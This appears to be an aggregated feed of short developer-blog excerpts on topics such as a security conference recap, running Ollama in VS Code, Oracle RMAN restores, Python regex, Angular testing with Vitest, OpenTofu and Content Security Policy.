    Conference presentation GreHack is a conference on IT security held in Grenoble. The first day is dedicated to talks in English by various speakers, as well as workshops at the end of the day. The second day is specifically devoted to CTF, which brings together several hundred people. This year, the following topics were presented: Network security / Hardware security Enterprise application security Physical security / Red team Reverse engineering / Program analysis IoT security Web security / Browsers Protocol security / Databases / Authentication DevOps security / CI-CD / Supply chain Advanced network analysis / Network forensics Radio security / SDR All of the talks are available for replay here: https://www.youtube.com/live/X-ZJH4d2tuE and the talk schedule is here: https://grehack.…  ( 8 min )
    How to connect a local AI model to VS Code.
    You can try out the latest Ollama models on VS Code for free. We are using Ollama, which is a free local AI model running application developed by the Llama community. You can download Ollama from its website. Now you'll be able to access ollama using your terminal. Open your terminal. Type ollama to verify if it's been installed. Run a model you like(depending on your hardware), using the command: ollama run qwen3:4b Change the model name to your preferred model and install it. ollama.com/search If you want to run a high-end AI model, you can use Ollama Cloud for free. ollama pull qwen3-coder:480b-cloud Integrating with VS Code Make sure the Ollama server is running in the background. localhost:11434, and see if Ollama is running. ollama serve. Open VS Code -> Copilot chat sidebar. Select the model dropdown -> Manage models -> Select Ollama Select the desired models. Open the model dropdown and choose the model. The option will disappear once you turn the Ollama server off.  ( 6 min )
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    What Our Long-Term Clients in Mumbai and Pune Say About Working with Prateeksha Web Design
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    Real-world Svelte 5: Handling high-frequency real-time data with Runes
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    React State Custom: Comprehensive Review
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    Restoring a Lost Datafile from Standby Using RMAN
    If an operating system–level datafile is lost in the primary database environment, this loss can be compensated using the existing datafile on the Data Guard server (provided that the files are compatible). In versions prior to 12c, the DBA needed to manually transfer the datafile from the Data Guard environment to the primary database at the OS level. In 12c, this task can be performed using a single RMAN command: — Primary: SQL> create tablespace tbs1 datafile ‘/u01/test1.dbf’ size 10m; SQL> !mv /u01/test1.dbf /u01/test2.dbf rman target / RMAN> RESTORE DATAFILE ‘/u01/test1.dbf’ FROM SERVICE stb; Starting restore at 05-JUL-16 using target database control file instead of recovery catalog allocated channel: ORA_DISK_1 channel ORA_DISK_1: SID=4 device type=DISK channel ORA_DISK_1: starting datafile backup set restore channel ORA_DISK_1: using network backup set from service stb channel ORA_DISK_1: specifying datafile(s) to restore from backup set channel ORA_DISK_1: restoring datafile 00005 to /u01/test1.dbf channel ORA_DISK_1: restore complete, elapsed time: 00:00:01 Finished restore at 05-JUL-16 Note: In this command, you can use the datafile number instead of its name: RMAN> RESTORE DATAFILE 5 FROM SERVICE stb;  ( 6 min )
    Swagger의 사실과 오해: API-First Development
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    Fix Router Blinking Red Light In Minutes
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    How to Seed Data in Drizzle (The Right Way)
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    Zero to Game Dev - #1
    INTRODUCTION TO THE COURSE Welcome to the first chapter of this course — and honestly, to the start of your game dev journey. I’m Kartik (also known as Dat_One_Dev), the person guiding you through this entire experience. I’m here because I’ve walked through the same confusion, the same “where do I even begin,” and the same endless Googling. So this course is built to be friendly, understandable, and beginner-proof. This is your first real step into the world of game development. Anyone who wants to start and has enough determination to stay till the end. Whether you’re someone who likes messing around in Scratch, someone who survived school projects in Excel, someone who has never coded a line in their life, or someone who only plays games and wonders, “How do people even make these?” T…  ( 8 min )
    FossFLOW: A Lightweight and Powerful Isometric Diagram Tool for Developers
    🚀 FossFLOW: A Lightweight and Powerful Tool for Isometric Diagrams Creating clear and expressive diagrams is essential for anyone working with software architecture, infrastructure, or DevOps. When you need something fast, modern, and reliable, FossFLOW stands out as an impressive open-source solution. Built as a PWA using React + TypeScript, FossFLOW is lightweight, runs 100% in the browser, works offline, and delivers a smooth and intuitive editing experience. You get: 🎯 Drag-and-drop editing 🔗 Smart connectors 💾 Autosave 🧩 Customizable icons ⚡ Fast performance, even in complex diagrams With 12k+ GitHub stars and continuous updates, the project shows real maturity and long-term reliability — something that matters when choosing tools for documentation or system design. For developers, FossFLOW is a strong option for: Documenting complex systems Building technical presentations Creating architecture diagrams with isometric styling Integrating a customizable diagram editor into your own product If you're looking for a modern, open-source alternative to traditional diagramming tools, FossFLOW is definitely worth exploring. 🔗 Here is my full analysis and visuals on LinkedIn:  ( 6 min )
    Stop writing RLS filters. Build a composable DAL that enforces Row-Level Security automatically. Fail-closed, projected permissions that compose perfectly with Soft-Deletes & Multi-Tenancy. Essential reading for architects. See the generated SQL!
    Building Composable RLS: Enterprise Data Security on Autopilot GigAHerZ ・ Nov 25 #dotnet #architecture #csharp #security  ( 6 min )
    The Math Behind Machine Learning & Deep Learning (Explained Simply)
    Machine Learning can feel overwhelming when you see words like gradients, derivatives, tensors, eigenvalues, or linear transformations. But the truth is: ML math is built from a few core ideas that repeat everywhere. This post explains those ideas simply—no heavy formulas, just intuition you can actually understand. Linear Algebra — The Language of Data Machine Learning models think in vectors and matrices. A vector is just a list of numbers. [120, 80, 255] A matrix is just a bunch of vectors stacked together. Why do we need it? It lets models combine inputs efficiently. Neural networks use matrix multiplication billions of times. GPU acceleration exists because GPUs love matrix math. Intuition: Calculus — Learning = Changing Numbers Slowly At its core: Machine Learning = adjust n…  ( 8 min )
    🧠 [Memory Leak] Why I Felt Stupid at 2 PM: Debugging My Brain's RAM
    The Situation. It’s 2:30 PM. I’m staring at my IDE. The method is written. I just need to add a couple of conditions to an if/else block and push the commit. It’s a 5-minute task. But I’ve been scrolling up and down the same 20 lines of code for the last ten minutes. My brain feels like mush. In one background thread, I’m worrying about an email I forgot to send to a client this morning (it’s probably a fire by now). In another thread, there’s a low-level anxiety hum about a strange noise my car made yesterday. In a third thread, my partner asked me to buy groceries, and if I forget, it’s going to be a local Exception. My mental ping is spiking to 900ms. I can physically feel the cooling fan in my skull spinning at max RPM, but useful work output is null. I used to think I was just tired. …  ( 9 min )
    How to Turn Meeting Notes into a PowerPoint Presentation Using AI in 2026- A Complete Guide.
    Creating a professional presentation used to take hours for designing slides, organizing content, and making it something that the audience should catch, but it is not a challenging or time-consuming task if you know how to make presentations using an AI presentation maker. Today, AI tools can do most of the work for you, allowing you to focus on content rather than formatting. In this blog, I will tell you how you can transform a simple set of notes into a complete presentation using AI. Here are the reasons why I recommend Slide generation tools Save Hours: No need to spend time on structuring or building slides from the beginning; the AI does it all based on your prompt. Improve clarity: Helps you make your content clearer by simplifying it and putting it in order. Visual consistenc…  ( 8 min )
    ES2025 is Coming! 5 New Features That Will Change How You Write JavaScript
    The annual ECMAScript update always breathes new life into the JavaScript ecosystem. As we look forward to ES2025, several exciting proposals have already reached "Stage 4," meaning they are officially ready to be included in the next version of the JavaScript standard. Today, let's explore five of the most impactful new features and see how they can simplify our code and boost our productivity. Promise.withResolvers() - The New Way to Create Promises In the past, creating a Promise that you could resolve or reject from outside its scope required some boilerplate code: // The old way let resolve, reject; const promise = new Promise((res, rej) => { resolve = res; reject = rej; }); // Used elsewhere in your code doSomething().then(() => { resolve('Operation successful!'); }); This …  ( 8 min )
    A Practical Guide to Deploying Scalable Serverless Apps on AWS
    Building a fully serverless application on AWS can feel overwhelming at first, but this hands-on project made the entire process clear, practical, and surprisingly enjoyable. In this guide, I walk through how I built HealthHub, a cloud-native healthcare appointment system powered by AWS Lambda, API Gateway, DynamoDB, Cognito, and a Vite-based frontend. From creating the VPC and EC2 workstation to deploying backend services with the Serverless Framework and finally launching the frontend app, this article documents every step — so you can follow along and build your own production-ready serverless project. Step 1: Creating A VPC N. Virgina (us-east-1) region. The VPC should have a public subnet with an 'Internet GateWay (IGW)' for public access of the Workstation EC2 instance to be created …  ( 10 min )
    Why Your Users Cannot Perceive Zero Latency: A Scientific Guide for Developers
    When we talk about real-time streaming at Red5, we often use the phrase “Streaming at the Speed of Thought.” It is not just a tagline. It is a very literal target and mission. In this blog you will learn how human perception, neuroscience, and physics shape what “real-time” actually means in practical streaming systems. Neuroscience tells us there is a gap between when something hits our senses and when we consciously register it. Depending on the task, the “Speed of Thought” typically falls somewhere between about 50 and 200 ms, with values around 150 ms often cited for simple reactions like a runner responding to a starting gun. Once you get under roughly 400 ms end to end, most people cannot consciously detect a delay, as long as everyone in the experience is seeing the same thing at ro…  ( 10 min )
    Cypress 15.7.0: A Faster, Smarter, More Modern Testing Experience
    Cypress has rolled out its latest release — v15.7.0 (Nov 19, 2025) — and it’s a meaningful upgrade for teams building fast, modern, and highly interactive web applications. The focus this time? Performance, stability, and better support for the future of frontend frameworks. This release introduces an important optimization: Why does that matter? Fewer unnecessary DOM checks Smoother runs on apps with large or frequently mutating DOMs Reduced risk of test crashes during high-frequency UI updates For teams working on real-time dashboards, multi-step workflows, or large enterprise UIs, this gives a noticeable stability boost. Component testing now supports Next.js 16, marking a big step for teams migrating to the newest version of the framework. A few important notes: Cypress continues to rely on webpack behind the scenes Turbopack support is still in progress, but the direction is clear If you're building with the latest Next.js architecture, the upgrade will feel much smoother This keeps Cypress aligned with the evolving React ecosystem — especially for teams already deep into app directory patterns and server components. 🎯 Why This Release Matters More reliable tests Faster interactions Better compatibility with modern stacks If you’re pushing a lot of DOM interactions, migrating to Next.js 16, or exploring Test Replay features, 15.7.0 is a highly recommended upgrade. 💬 What’s Your Move? Visit and Read More About end to end Cypress Test Automation  ( 7 min )
    Why I Don’t Trust AI With Crypto Predictions?
    You can ask an AI what to make for breakfast, but not “what will Bitcoin be tomorrow?” I won’t argue - AI is the perfect assistant, a brilliant writer, and an amazing explainer of complex stuff. But anyone trying to use it as a “crypto market oracle” is basically signing up for “financial suicide on Saturdays.” Crypto is psychology and probabilities. AI is logic, statistics, and order. And until one learns to understand the other, I’ll keep repeating: AI - a fantastic tool. But a terrible trader. A regulatory update, an exchange hack, or a single massive wallet transfer can flip market direction within minutes. Tomorrow Trump might say Bitcoin is useless, and it could drop threefold. Can AI predict that? Only if Trump personally tells it. A 2024 survey of algorithms found that word-embedd…  ( 9 min )
    I spent 400 hours working with AI agents and found the best one - here it is.
    Codex vs Claude Code: Complete Comparison of AI Coding Agents This comparison took me a very long time because the last two weeks in AI have been absolutely insane. A ton of new releases literally every few days: Gemini 3, Opus 4.5, Codex GPT 5.1, GPT 5.1 Codex Max. It was complete madness. It's impossible to make a comparison that won't be outdated in a month - that's how fast development of all these CLI tools and agents is going. The frontier is constantly shifting, so disclaimer right away: I'll be updating this comparison and will likely make second and third parts every few months. But these articles will become outdated very quickly. At least for now, I'll try to compare fully and at the end I'll say which subscription I've finally switched to for late 2025 - early 2026. First, it…  ( 23 min )
    🚀 Musk x Kamath: The "Source Code" for Your 20s (And the Future of AI)
    🛠️ TL;DR Action Items Audit your commits: Are you a net contributor to your team/society? Learn Energy: Read up on how energy constraints impact data centers and compute. Stay Curious: Train your own "neural net" (brain) to value curiosity over dogma. This post was inspired by the conversation between Nikhil Kamath and Elon Musk. Watch the full video here: Elon Musk x Nikhil Kamath - People by WTF What’s your take? Do you agree that "Truth" is the most critical safety feature for AI? Let me know in the comments!  ( 6 min )
    The Silent Pressure of Staying Relevant in Tech
    There is a kind of pressure in tech that nobody really talks about. It is not the pressure of deadlines or difficult tasks. It is the quiet fear that if you stop learning for a moment, the industry will leave you behind. Every week, there is a new framework. Every month, there is a new tool. Every year, there is a new trend that everyone claims will “change everything”. And in the middle of all of that noise is you, trying to learn, build, grow and still breathe. The Pace Is Exhausting People outside tech sometimes believe developers enjoy every update. They think we spend all day exploring new tools for fun. But the truth is simpler. Most of us just want to be good at our work. We want to build things that matter. Yet the landscape moves so fast that even when you are doing your best, you…  ( 8 min )
    Nobody Writes Clean Code. We All Just Pretend
    I’ve been writing software for more than a decade now, and one of the most important lessons I ever learned came from a conversation early in my career. I told a colleague - a seriously brilliant engineer - “You know, the code in our app is kinda shitty.” He smiled, nodded like an old monk on a mountain, and said: “It’s shitty everywhere.” And honestly? And that’s fine. Really. Is “Clean Code”? (Be honest… nobody has one definition) Over the years I’ve heard more definitions than I can count. “Readable.” “Simple.” “Consistent.” “SOLID.” “Elegant.” “Whatever I personally would write if I had more time and fewer deadlines.” It’s all vibes. No one agrees on anything. Ask ten developers what clean code means and you’ll get twenty-seven different answers. Clean code isn’t really a standard - …  ( 13 min )
    The Developer's Safety Net - Introduction to TypeScript
    Hey everyone!👋 seem complicated at first. It might even feel like you're writing extra code compared to plain JavaScript, or that your code is already clear enough without it. But in reality, TypeScript is a tool that helps us write safe, cleaner, and more understandable code. catches you instantly and tells you exactly where things went wrong, long before the audience(your users) ever sees a problem. JavaScript on the other hand, is like walking that tightrope without a safety net, you move fast, but even a tiny mistake(a comma, a misspelled method, an unexpected type) can bring your whole program crashing down at runtime. If you're already using TypeScript, your code is in good hands👏, and hopefully this article will reinforce why adopting it was the right decision! introducing it in…  ( 15 min )
    🚀 Launching Vyoma.co — A Small Start, But a Real Start | Built by a 16-Year-Old
    🚀 Launching Vyoma.co — A Small Start, But a Real Start | Built by a 16-Year-Old Hello dev community! 👋 Prasoon Jadon, a 16-year-old developer from India, and today I’m launching something small, simple, and meaningful to me — Vyoma.co. This is not a “big startup announcement”. Just a teenager putting all his tools, ideas, and creativity in one place — under a name that finally feels like a home. Vyoma is my personal startup space where I bring together: 🚀 Tools I’ve been building 📝 Articles I write 📚 My Wattpad books 🧰 My developer utilities 🧪 Experiments and side projects Think of it like my toolbox turned into a startup. I’ve been building random tools and APIs for a long time — some for fun, some for learning, some because my brain won’t stop giving ideas. Now, everything will live under one clean name: Vyoma. Because I wanted to stop waiting for “the right time”. I don’t have: a fancy office a huge team connections funding But I do have: curiosity ideas internet laptop and a room that I converted into a tiny office 😄 That’s enough to start. Right now: A clean, simple website A few tools A newsletter section (articles + Wattpad updates) A small home-built brand Nothing huge. real, and it’s mine. I’m not trying to be the next unicorn. learn, build, and grow — publicly. Vyoma will evolve as I do. 👉 https://vyomaco.vercel.app/ (Hosted on Vercel, shipping updates every week.) Thanks to everyone who inspired me, helped me, or unknowingly pushed me forward with their content and ideas. And thank you for reading this. – Prasoon Jadon  ( 7 min )
    Multimodal Agents and Their Applications
    Multimodal Agents and Their Applications Author: Pranav S - 2025-12-01 Multimodal agents are AI systems that perceive, reason, and act using multiple input and output modalities (e.g., text, images, audio, and video). This article explains what multimodal agents are, common architectures, practical applications across industries, technical and ethical challenges, and future directions. A multimodal agent integrates information from different sensory or signal types to perform tasks that require understanding, decision-making, and interaction. Unlike unimodal models that operate on a single data type (like text-only language models), multimodal agents fuse representations across modalities to achieve richer situational awareness and more capable behaviors. Key capabilities typically inclu…  ( 9 min )
    AWS Terraform Meta Arguments | Count, depends_on, for_each
    Terraform becomes truly powerful when you start using meta-arguments — special parameters that change how resources are created, managed, and related to each other. While Terraform syntax is easy to learn, mastering meta-arguments like count, for_each, and depends_on is what enables you to build dynamic, scalable, and production-ready AWS infrastructure. This guide explains each meta-argument in detail with clear examples, best practices, and common real-world scenarios where these features become essential. Understanding Meta Arguments in Terraform Meta-arguments are not specific to any resource type. Instead, they can be applied to any Terraform resource, module, or data source to control creation patterns and dependency behavior. The three foundational meta-arguments are: count → crea…  ( 8 min )
    Smart_Store: Triple-Lock Validation for Secure Data Imports
    Previously, I talked about schema guides and versioning in Smart_Store; today, I will discuss schema validation during file import. Data is the lifeblood of modern applications. But here’s the truth: not all data is trustworthy. In fact, one of the biggest challenges developers face is ensuring that the information flowing into their systems is both authentic and safe. Most frameworks rely on schema validation alone. They check if a file has the right fields, types, and formats. That’s useful, but it’s not enough. A clever programmer, or even someone working within the same ecosystem, could craft a file that looks valid but isn’t truly recognized by the system. That’s why I designed Smart_Store with a different philosophy. Instead of relying only on schemas, Smart_Store enforces triple-loc…  ( 7 min )
    Day 12: Python Programming
    Regular Expressions (RegEx) What is Regular Expression? search, match, and manipulate text based on patterns. re module. Why RegEx is Important? Validating emails, phone numbers Extracting IPs, URLs from logs Checking passwords Searching patterns Replacing characters Parsing large text files Important Functions in re Module Function Description re.search() Returns first match re.match() Match only beginning of string re.findall() Returns all matches re.split() Split string using pattern re.sub() Replace text Basic Patterns (Metacharacters) Symbol Meaning . Any character ^ Start of string $ End of string * Zero or more times + One or more times ? Zero or one {n} n times {n,m} n to m times [] Character set \ Escape character ` ` OR Character Classes Pattern Meaning \d Digits (0–9) \D Non-digit \w Word (letters, numbers, _) \W Non-word \s Space \S Non-space re.search() Example Returns match object if found re.findall() Example Output: re.match() Example start. re.split() Example re.sub() Example (Replace) import re Pattern Matching Examples 1.Find all digits 2.Find words starting with capital letter Email Validation Pattern import re user123@gmail.com" Phone Number Validation (10 digits) import re Password Validation At least 8 characters One uppercase One number import re [A-Z])(?=.\d).{8,}$" Extract IP Address Extract All Words Special Example: Find Vowels DevOps Use Case: Extract Error Lines from Log import re log = """ INFO: Started ERROR: Disk Not Found WARNING: Low Memory ERROR: Service Down errors = re.findall(r"ERROR.*", log) print(errors)  ( 7 min )
    Smart TV App Development: OTT Beyond Mobile and Web
    The over-the-top (OTT) platform has changed the landscape of digital entertainment and has largely focused on web and mobile over the last few years. But a major shift is happening. Customers are demanding seamless and seamless experiences on all screens. This is especially true with Smart TVs that give a better, more immersive theatre-like experience in the home. The growth of OTT App Development now goes beyond browsers and smartphones. Multi-device streaming services are becoming commonplace, and companies can no longer afford to ignore the potential of Smart TVs. These TVs are more than just a bonus. They're frequently the first screen to be used in people's houses. Smart TVs make up an increasing share of all video-related consumption. In 2025, more than 65 per cent of household TV us…  ( 10 min )
    "That's Just How It Is" Kills Innovation: Building Teams That Question Everything
    Three months into a new project, our builds were taking 12 minutes. Everyone complained. Nobody investigated. "That's just how it is with large codebases." A new teammate joined. Day two, she asked: "Why does this take so long?" We shrugged. She didn't. She spent an afternoon digging. Turns out we were bundling dev dependencies in production. One config change later: 3-minute builds. Twelve months of collective frustration, solved in an afternoon—because one person refused to accept "that's just how it is." "That's just how it is" is the most expensive sentence in software development. It sounds like acceptance. It's actually resignation. I've heard it everywhere: "Deployments always break on Fridays." (They don't have to.) "The staging environment is always down." (There's a reason.) "Thi…  ( 10 min )
    Testing Angular 21 Components with Vitest: A Complete Guide
    Angular 21 replaced Karma with Vitest as the default testing framework. If you're used to Karma or Jest, this shift means new syntax, different patterns, and a fresh approach to testing, especially with Angular's signals and new control flow. Setting up Vitest in Angular 21 Testing standalone components with signals and computed signals Working with Angular's control flow syntax (@for, @if, @empty) Understanding fixture.detectChanges() for DOM updates Testing user interactions and edge cases We're testing a full-featured task manager: add tasks, mark them complete, filter by status, and delete them. All code is on GitHub. Angular 21 includes Vitest out of the box. Create a new project and you're ready to go: ng new angular-vitest-testing-guide cd angular-vitest-testing-guide Check package…  ( 14 min )
    Testing Angular 21 Components with Vitest: A Complete Guide
    Angular 21 replaced Karma with Vitest as the default testing framework. If you're used to Karma or Jest, this shift means new syntax, different patterns, and a fresh approach to testing, especially with Angular's signals and new control flow. Setting up Vitest in Angular 21 Testing standalone components with signals and computed signals Working with Angular's control flow syntax (@for, @if, @empty) Understanding fixture.detectChanges() for DOM updates Testing user interactions and edge cases We're testing a full-featured task manager: add tasks, mark them complete, filter by status, and delete them. All code is on GitHub. Angular 21 includes Vitest out of the box. Create a new project and you're ready to go: ng new angular-vitest-testing-guide cd angular-vitest-testing-guide Check package…  ( 14 min )
    OpenTofu Cheat Sheet: 31 CLI Commands You Should Know
    The OpenTofu CLI is a command-line interface for managing infrastructure as code using the OpenTofu framework, a community-driven fork of Terraform. It allows users to define, provision, and manage infrastructure across multiple cloud providers using declarative configuration files. If you've used Terraform before, you'll feel right at home. OpenTofu mirrors much of the same functionality - commands like init, plan, apply, and destroy work just as you expect. You also get state management, resource graphing, and execution planning built right in. Want to go beyond the basics? Check out our OpenTofu tutorial or learn how to manage OpenTofu at scale. To install OpenTofu, download the binary from the official releases and add it to your system's PATH. Below are the installation steps: Visit t…  ( 11 min )
    Cooked this Paperfolio template with V0 | Here’s the template you can use for free
    Cooked this Paperfolio template with V0 | Here’s the template you can use for free I’ve been experimenting with V0 - by Vercel, and I rebuilt the popular Paperfolio layout originally created by Brix Templates. → Template (Clone / Remix): → Live Preview: → Watch the walkthrough on X: Clean portfolio with hero section and highlight-style text blocks Minimal, bold layout focused on showcasing your work Reusable components built directly in V0 Easy to customize for personal portfolios or client sites Open the template → https://v0.link/paperfolio Click on “Open in V0” Make your styling tweaks Deploy on Vercel That’s it — you have a clean, modern portfolio site ready to ship. If you end up customizing this, I’d like to see what you build.  ( 7 min )
    Reflections on Developing GoodBot with Kiro
    Preface Completing a full Telegram Bot management system in 48 hours was once unimaginable. But with Kiro, I made it happen. This article documents my real experience and thoughts using Kiro to develop the GoodBot project. Traditional development flow: Clarify → Check docs → Write code → Debug → Repeat. With Kiro, it became: Describe requirements → Kiro generates → Fine-tune → Done. This isn’t laziness—it shifts focus from “how to write” to “what to write.” I can now concentrate on product logic and user experience instead of getting bogged down by syntax details and API call methods. The core feature of GoodBot is bidirectional message forwarding—users send messages to the bot, which forwards them to admins; when admins reply, the response is automatically routed back to the original us…  ( 8 min )
    Building a Vanilla TypeScript Japanese Flashcards App with Antigravity AI
    In this post, I want to share my experience building a robust Japanese Flashcards application using Vanilla TypeScript, HTML, and CSS, all while pair-programming with Antigravity, an advanced AI coding assistant from Google DeepMind. The objective was straightforward but strict: create a lightweight, browser-based application to help learn Japanese vocabulary. The Constraints: No Frameworks: No React, Vue, or Angular. Just pure DOM manipulation. No Bundlers: No Webpack or Vite configuration hell. Just the TypeScript compiler (tsc). Type Safety: Strict TypeScript usage (no any). Since we weren't using a framework, we had to structure the app carefully to keep it maintainable. We opted for a simple separation of source and distribution: /src ├── data.ts # Vocabulary data and t…  ( 8 min )
    Code vs. Camera: Dissecting Video Testimonials & Case Studies for B2B Conversions
    You’ve shipped a killer feature. Your API has sub-10ms latency. Your platform solves a real, painful problem. But in a crowded B2B tech landscape, how do you prove it to skeptical developers and CTOs? Enter social proof. It's the assert() statement for your marketing claims. Two of the most powerful forms are the data-driven case study and the emotive video testimonial. But which one actually moves the needle and boosts conversions? Let's ditch the marketing fluff and analyze this like a system design problem. We'll break down the architecture, pros, and cons of each to help you build a more effective B2B content marketing engine. A case study is the technical whitepaper of a customer's success. It’s a structured, often long-form document that follows a familiar pattern: Problem, Solutio…  ( 9 min )
    🚀 How I Built Tulia AI’s MVP in Under a Month Thanks to Kiro’s Developer Superpowers
    SMEs lose countless leads every day because customers reach out on WhatsApp, Instagram, or their websites and no one responds in time. Tulia AI was born to solve exactly that problem. I joined the Kiroween Hackathon with an idea and a rough vision. Using Kiro, I turned that vision into a working MVP in less than a month. I used Kiro’s structured prompt blocks to break down features like: Tenant onboarding WhatsApp conversation flows Knowledge base management Analytics dashboards SME product/service catalogue structures Kiro didn’t just rewrite requirements, it refined them into production ready definitions I could immediately implement. Instead of generating random boilerplate code, Kiro respected my stack choices: Django REST backend Multi-tenant RBAC WhatsApp API integration LLM Integrat…  ( 7 min )
    TikTok SEO: Why Your Videos Aren't Being Found (And How to Fix It)
    TikTok processes over 140 billion video views every month. But here's what most creators miss: nearly 40% of Gen Z now uses TikTok as their primary search engine, not Google. Let that sink in for a second. While everyone's obsessing over the For You Page algorithm, there's an entire search ecosystem on TikTok that most brands completely ignore. And honestly? That's leaving a massive amount of discovery potential on the table. I've spent the past year analyzing what actually works for TikTok search optimization. Not the theory. Not what some guru said in a course. What actually moves the needle when you check the analytics on Tuesday morning. Here's what I've learned. TikTok's search has gotten surprisingly sophisticated. It indexes captions, on-screen text, audio, hashtags, and even spoken…  ( 12 min )
    101 ana ucuz
    Check out this Pen I made!  ( 5 min )
    How to Use AI to Write Better Blogs Faster in 2025
    If you write online for a living (or even just for fun), you already know the pain: the research takes ages, outlines eat up your focus, and by the time you’ve finished editing, the topic has almost gone cold. In 2025, AI tools are less about “magic text generators” and more about full-on writing companions that help with research, SEO, drafting, and even publishing. This isn’t about replacing writers. It’s about cutting out the repetitive work so you can spend your energy on ideas, analysis, and storytelling. In this blog, we’ll walk through some of the most useful AI tools for blog and content writing in 2025, how they differ, and how to combine them in a real-world workflow. Modern AI tools do much more than spit out paragraphs. Used properly, they can help you: Save time on research an…  ( 13 min )
    Litlyx: Our new open-source launch - 10 simpler, 10 faster, 100% self-hostable
    Hi folks of Dev community, a long time has passed since our last update. This community has shown so much love to our product that I wanted to give you an update on the state of our self-hosted analytics dashboard project. We’ve revamped our user experience and our user interface from zero to make it extremely compelling. We’ve added powerful features to make it complete, and everything is self-hostable with one command: “docker compose up” and you’re done… a dashboard that is easy to use and powerful, without the hassle of setting it up in any technology you’re currently using. Self-Hosting Made Simple With Docker Everything is self-hostable with one command: docker compose up And you're done. Visitors tracking Product analytics & custom events tracking Customizable repo…  ( 7 min )
    Who Needs CSP?
    You've probably heard about Content Security Policy (CSP) in the context of web security. But what is CSP for, and is it appropriate for your project? At its core, CSP is a set of security practices and a standard that can be used to tell browsers which resources your website will be allowed to load and execute. Think of it as a security guard standing at the front door of your web page—it only lets scripts, styles, and other resources inside if they are on the guest list. The way you tell the web browser which resources are considered safe to allow in is with a Content-Security-Policy HTTP header. An example CSP configuration heading might look like this: Content-Security-Policy: default-src 'self'; script-src 'self' https://apis.google.com This configuration tells the browser: "By defau…  ( 12 min )
    New version 3.2.1 https://github.com/hmpl-language/hmpl/releases/tag/3.2.1
    Release 3.2.1 · hmpl-language/hmpl · GitHub Combining types into one: type HMPLTemplateFunctionOptions = HMPLIdentificationRequestInit[] | HMPLRequestInit | HMPLRequestInitFunction; And also speeding up the code execution github.com  ( 6 min )
    How I built a free AI Video Watermark Remover using React & Firebase
    Hey fellow devs! 👋 I recently launched a side project that solves a personal pain point I've had for a while: removing watermarks and ending screens from CapCut/TikTok videos without jumping through hoops. Most tools out there require a signup, payment, or they simply "blur" the watermark (which looks terrible). I wanted to build something cleaner, faster, and 100% free. Here is the result: VideoWatermarkRemove.com I wanted to keep it lightweight and fast, so I went with: Frontend: React + Vite (for that instant HMR) Styling: Tailwind CSS (Dark mode by default, obviously) Auth: Firebase Authentication (Google Sign-in) Hosting: Vercel Core: AI Inpainting models for object removal It wasn't all smooth sailing. I spent about 3 hours debugging a weird Firebase Auth 400 Error when deploying to production. Locally, everything worked fine. In production? Broken. .env variables. Everything looked correct. The culprit? Vercel deployments and Browser Cache. authDomain environment variable in Vercel settings but forgot to trigger a Redeploy. Even after I did, my Chrome browser was aggressively caching the old index.html which referenced the old config. Lesson learned: Always hard refresh (Ctrl+Shift+R) and verify your build variables in the "Network" tab before losing your mind! 😅 Instead of a simple Gaussian blur, the tool uses an AI inpainting approach. It detects the watermark area (like the bouncing TikTok logo or the static CapCut ending) and attempts to "reconstruct" the background pixels based on the surrounding context. This is currently an MVP. I'm planning to: Improve the mobile layout (it's a bit clunky on small screens right now). Add support for batch processing. Optimize the AI model speed. I'd love to get your feedback on the UI/UX and the removal quality. Feel free to roast my code or give suggestions! Try it out here: https://www.videowatermarkremove.com/ Thanks for reading!  ( 7 min )
    101 ana ucuz
    Check out this Pen I made!  ( 5 min )
    7 Practical Ways Digital Transformation Fuels Enterprise Growth in 2026
    7 Ways Digital Transformation is Powering Smarter Enterprise Growth in 2026 If you work in tech long enough, you start noticing a pattern: every time a company finally modernizes its systems, teams suddenly move faster, decisions get sharper, and customers become easier to retain. 2026 is showing us the same truth — just louder. Here’s a grounded, practical look at how transformation is driving real growth this year — not in buzzwords, but in outcomes. Enterprises used to drown in data lakes that were basically cold storage. Business teams get insights instantly Developers can plug into cleaner APIs Decision cycles shrink from weeks to minutes Better decisions = better growth. Simple as that. Automation in 2026 isn’t about “robots taking over.” We’re seeing automation improve: Ticket tri…  ( 7 min )
    Verify & Clean Your Email Lists: Boost Deliverability & Conversions
    If email marketing is the engine that drives online business, your email list is the fuel. But here’s the secret most marketers ignore: your email list is decaying—every single day. A clean, verified email list. Email providers like Gmail, Outlook, and Yahoo are tougher than ever. Their filtering systems analyse sender behaviour relentlessly. If they detect certain patterns, your emails stop going to the inbox and go straight to spam. Too many bounces Wasted marketing dollars A Bulk List Validation Tool is software designed to scan your entire email list—hundreds, thousands, or millions of contacts—and verify which ones are safe to send to. Invalid addresses SMTP handshake Email list hygiene is more than cleaning your list "once in a while". It is a long-term habit that keeps your list healthy, your domain safe, and your campaigns profitable. The marketing consequences are bigger than most brands realise: A bounced email checker identifies which addresses will bounce before you send to them. It scans your emails using: A powerful email deliverability software does more than verification. It enhances every layer of email marketing success. Many brands verify once—and that's their biggest mistake. You must verify your list: To maintain excellent email list hygiene long-term, follow these guidelines: A well-verified list gives you: Your email list is your business asset—but only if it’s clean. Bouncify make the entire process fast, safe, and effortless.  ( 9 min )
    TOON (Token-Oriented Object Notation)
    Say Goodbye to JSON Bloat: Introducing TOON, the Token-Efficient Format for LLMs If you’re building applications that rely heavily on Large Language Models (LLMs) — whether for RAG systems, data analysis, or multi-agent workflows — you’ve likely encountered a silent killer of efficiency and budget: token bloat. Traditional data formats like JSON, while perfect for machine-to-machine communication, are unnecessarily verbose for LLMs. Every repeated key, every brace ({}), bracket ([]), and quote ("") consumes valuable tokens, increasing your API costs and quickly eating into your context window. The solution? TOON: Token-Oriented Object Notation. What is TOON? Token-Oriented Object Notation TOON is a modern data serialization format designed from the ground up to solve the token efficien…  ( 8 min )
    Why a Good README.md Matters More Than Your Code
    Is your repository a ghost town? Discover why the README.md is the most critical file in your project. Imagine you are shopping for a new laptop online. You click on a product that looks promising, but the page has no photos, no spec sheet, and no price. It just has a button that says “Buy Now.” Would you click it? Of course not. You have no idea what you are getting into. In the world of software development, your GitHub or GitLab repository is the product page, and your README.md is the sales pitch. Too many developers fall into the “Black Box” trap. They spend hundreds of hours writing elegant, highly optimized algorithms, pushing perfectly tested code to the src folder, and then leave the root directory empty. They assume the code speaks for itself. Code never speaks for itself. Unless…  ( 10 min )
    Linux firewall- iptables
